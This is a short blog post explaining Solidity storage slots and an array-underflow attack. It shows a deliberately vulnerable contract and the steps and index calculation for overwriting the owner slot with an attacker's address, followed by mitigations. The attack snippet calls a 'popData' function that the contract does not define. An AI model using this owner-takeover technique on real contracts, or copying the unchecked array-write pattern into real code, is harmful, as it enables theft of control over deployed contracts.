Introduction to solidity smart contracts storage layout -- What are risks in manipulating storage???

Introduction to solidity smart contracts storage layout -- What are risks in manipulating storage???

posted Originally published at dly.to 2 min read

Storage layout and array overflow/underflow risks!!!!

  • Solidity stores data in Each slot = 32 bytes (256 bits)
  • Each storage slot is numbered: slot 0, slot 1, slot 2 and so on.

Solidity tries to pack variables into these slots efficiently, but the actual layout depends on data type and declaration order.

Storage Layout Breakdown

  • Consider a simple contract with various variable and it's storage layout
contract StorageExample {
    bool public flag;                    // 1 byte
    uint256 public number;        // 32 bytes
    string public message;        // dynamic
    bytes32[] public data;        // dynamic array
}
  1. bool public flag
  • bool = 1 byte
  • Stored in slot 0 (remaining 31 bytes unused)
  • Solidity will check if next type can be packed in slot 0. If not new slot 1 will be allocated and fitted
  1. uint256 public number
  • uint256 = 32 bytes (can't be fit in slot 0)
  • Stored in slot 1 (entire slot used)
  1. string public message
  • string is a dynamic type. (entire slot 2 used)
  • Solidity stores only a pointer/reference (not the data) in the slot.
  • The actual string content is stored at keccak256(2)
"hello" → 5 bytes
Stored at hash(slot 2) = location A, value: "hello"
  1. bytes32[] public data
  • entire slot 3 used (data.length)
  • bytes32[] is a dynamic array
  • slot stores only The length of the array
// bytes32[] stored at slot 3
start of array -> uint256(keccak256(abi.encode(3)));

// Length in slot 3: 2
If data = [0x1, 0x2];

hash(slot 3) + 0 = 0x...A → 0x1
hash(slot 3) + 1 = 0x...B → 0x2

Possible risks or attacks due to storage layout manipulation

// We will underflow the array
contract WeirdStorage {
    address public owner;           // slot 0
    bytes32[] public data;         // slot 1 -> stores (data.length)

    function setData(uint256 index, bytes32 value) public {
        data[index] = value;
    }
}
// keccak256(1) + i = data[i];

This is how attackers can corrupt unrelated storage — like overwriting a bool variable or even an owner address stored in early slots.

  1. data.pop() -> data.length == 2^256-1

  2. find index that maps to slot 0 (where owner stored)

keccak256(1) + index = 0
index = -keccak256(1) mod 2^256
index = 2^256 - keccak256(1)

vulnerable.popData(); // underflow

// attacker address, cast to bytes32
bytes32 attackerAddress = bytes32(uint256(uint160(attacker)));

// overwrite slot 0 (owner) to attacker address
vulnerable.setData(index, attackerAddress);

Mitigation:

  1. Use Solidity ≥ 0.8.0
  2. Avoid exposing public write access to dynamic arrays
  3. Never allow .pop() or manual index writes from untrusted users
  4. Use SafeMath or OpenZeppelin's defensive wrappers for older versions

Case Studies

If you read this far, tweet to the author to show them you care. Tweet a Thanks
0 votes
0 votes

More Posts

What are Price Oracle Manipulation Attacks in Blockchain contracts and EVM???

abiEncode - Jul 5

Ethereum Basics: From Wallets to Smart Contracts

ALLAN ROBINSON - Jul 9

Blockchain File Storage---What is IPFS and Types of web3 Storage

abiEncode - Jul 14

Private variables are not really private on EVM

abiEncode - Jul 8

Blockchain Devops

abiEncode - Jun 29
chevron_left